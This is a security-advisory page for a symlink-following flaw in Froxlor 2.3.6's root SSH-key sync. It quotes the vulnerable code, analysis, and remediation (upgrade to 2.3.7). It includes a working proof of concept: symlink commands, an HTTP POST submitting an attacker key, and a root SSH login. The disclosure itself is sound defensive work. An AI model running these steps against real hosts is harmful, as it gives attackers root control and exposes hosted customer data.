Severity by source
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Lifecycle Timeline
2DescriptionGitHub Advisory
Summary
Froxlor 2.3.6 contains a symlink-following flaw in the root-owned SSH key synchronization path used for customer FTP users. The provisioning code appends public keys to ~/.ssh/authorized_keys under a customer-controlled home directory without verifying that the target path is not a symbolic link.
If an attacker controls a shell-enabled customer account and can modify files inside the assigned home directory, the attacker can replace ~/.ssh/authorized_keys with a symlink to /root/.ssh/authorized_keys. When Froxlor's privileged cron task later synchronizes SSH keys, it appends the attacker-supplied key into root's authorized key file, resulting in root SSH access.
Details
The customer-facing SSH key workflow accepts an FTP user selection and an arbitrary public key from the authenticated session and forwards them into SshKeys::add():
// customer_ftp.php:251-253
if ($action == 'add' && Request::post('send') == 'send') {
$result = $log->logAction(USR_ACTION, LOG_INFO, "added SSH-key");
Commands::get()->apiCall('SshKeys.add', Request::postAll());
}On the server side, the add handler stores the public key and schedules an NSS rebuild as long as the customer has shell capability enabled at the customer level:
// lib/Froxlor/Api/Commands/SshKeys.php:67-70,120-145
if ($this->getUserDetail('shell_allowed') != '1') {
throw new Exception("You cannot add SSH keys because shell access is disabled for your account.");
}
$ins_stmt = Database::prepare("
INSERT INTO `" . TABLE_PANEL_CUSTOMERS_SSH ."`.
");
Settings::AddTask('rebuildnssusers');Later, a root-owned cron path enters SshKeys::generateFiles() and derives the target path by simple string concatenation:
// lib/Froxlor/Cron/System/SshKeys.php:52-64
$sshdir = FileDir::makeCorrectDir($userinfo['homedir'] . '/.ssh');
$authkeysfile = FileDir::makeCorrectFile($sshdir . '/authorized_keys');
if (!file_exists($authkeysfile)) {
touch($authkeysfile);
}The helper used here only normalizes the path string and does not resolve or reject symlinks:
// lib/Froxlor/FileDir.php:376-392
public static function makeCorrectFile(string $file): string
{
$file = str_replace('//', '/', $file);
$file = str_replace('\\', '', $file);
return $file;
}The root-owned sync code then appends attacker-controlled SSH key material to the derived path:
// lib/Froxlor/Cron/System/SshKeys.php:94-103
file_put_contents($authkeysfile, $userinfo['ssh-rsa'] . "\n", FILE_APPEND | LOCK_EX);
chown($authkeysfile, $userinfo['uid']);
chgrp($authkeysfile, $userinfo['gid']);Because Froxlor also grants the customer ownership of the home directory tree during account provisioning, the attacker can place a symbolic link at ~/.ssh/authorized_keys before the privileged synchronization step runs.
PoC
An attacker needs an authenticated customer account with shell-enabled home-directory control. That prerequisite may exist by normal configuration, or it may be obtained first through the separate FTP shell-assignment authorization bypass described in the companion report.
Relevant runtime prerequisites:
- the attacker controls a customer-owned home directory on the target host
- the attacking customer has
shell_allowed=1 - the attacker can submit SSH keys through the Froxlor panel
- Froxlor's master cron runs with the intended root privileges
Complete PoC flow:
- Obtain shell access as the customer-owned account and prepare a symlink in the home directory:
mkdir -p ~/.ssh
rm -f ~/.ssh/authorized_keys
ln -s /root/.ssh/authorized_keys ~/.ssh/authorized_keys- From an authenticated Froxlor customer session, submit a new SSH public key for the relevant FTP user:
POST /customer_ftp.php?page=sshkeys&action=add HTTP/1.1
Host: target.example
Content-Type: application/x-www-form-urlencoded
Cookie: <authenticated customer session>
csrf_token=VALID_CSRF_TOKEN&
send=send&
description=poc&
ftpuser=17&
ssh_pubkey=ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB attacker@host- Wait for Froxlor's master cron to process the queued
REBUILD_NSSUSERStask. - Use the corresponding private key to authenticate as root:
ssh -i id_ed25519 root@target.exampleResult:
- the root-owned cron task follows the symlinked
authorized_keyspath - the submitted public key is appended to
/root/.ssh/authorized_keys - SSH access as
rootsucceeds with the attacker's key pair
Impact
This is a direct customer-to-root privilege escalation on the managed host. A successful attacker can obtain full operating-system control, read or modify all hosted customer data, persist at the highest privilege level, and tamper with every service administered by the server.
AnalysisAI
Privilege escalation in Froxlor 2.3.6 allows an authenticated customer with shell access to gain root SSH on the managed host by exploiting a symlink-following flaw in the root-owned SSH key synchronization cron. By replacing the customer's ~/.ssh/authorized_keys with a symlink to /root/.ssh/authorized_keys before the privileged sync runs, attacker-supplied keys are appended to root's authorized_keys. No public exploit identified at time of analysis beyond the detailed PoC in the GHSA advisory, and the issue is fixed in Froxlor 2.3.7.
Technical ContextAI
Froxlor is a PHP-based open-source server-management panel (composer package froxlor/froxlor) used to provision web hosting, FTP, and SSH accounts on Linux hosts. The root cause is CWE-59 (Improper Link Resolution Before File Access, aka symlink following): the cron path SshKeys::generateFiles() derives $userinfo['homedir'] . '/.ssh/authorized_keys' through FileDir::makeCorrectFile(), which only normalizes slash characters and does not call realpath(), lstat(), or O_NOFOLLOW-equivalent checks. Because customers own their home directories, the unresolved path can be a symlink pointing anywhere on the filesystem, and the subsequent file_put_contents(..., FILE_APPEND | LOCK_EX) executes with root privileges and writes through the link to the target file (e.g., /root/.ssh/authorized_keys).
RemediationAI
Vendor-released patch: upgrade Froxlor to version 2.3.7 or later, which is referenced as the fixed release in the GHSA advisory at https://github.com/froxlor/froxlor/security/advisories/GHSA-mq5v-pxpm-8jw2 and the GitHub advisories mirror at https://github.com/advisories/GHSA-mq5v-pxpm-8jw2. If immediate upgrade is not possible, the most effective compensating controls are to disable the shell_allowed capability for all customer accounts in the Froxlor admin panel (which blocks the SSH key submission path entirely, at the cost of removing legitimate SSH/SFTP key-based access for tenants), and to audit existing /home/*/.ssh/authorized_keys paths on the host for symbolic links and replace any symlinks with regular files before the next cron run. Operators can additionally relocate or restrict the rebuildnssusers cron task to a hardened wrapper that resolves the home-directory path with realpath and refuses to write if the resolved target leaves the customer's home, though this requires local code modification and may break legitimate provisioning until the official patch is applied.
sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not
(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear
ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C
Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au
Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c
Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows
The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1
NetAlertX (formerly PiAlert) versions 23.01.14 through 24.x before 24.10.12 allow unauthenticated command injection thro
The GiveWP - Donation Plugin and Fundraising Platform plugin for WordPress is vulnerable to PHP Object Injection in all
Same weakness CWE-59 – Improper Link Resolution Before File Access
View allSame technique Privilege Escalation
View allShare
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-34315
GHSA-mq5v-pxpm-8jw2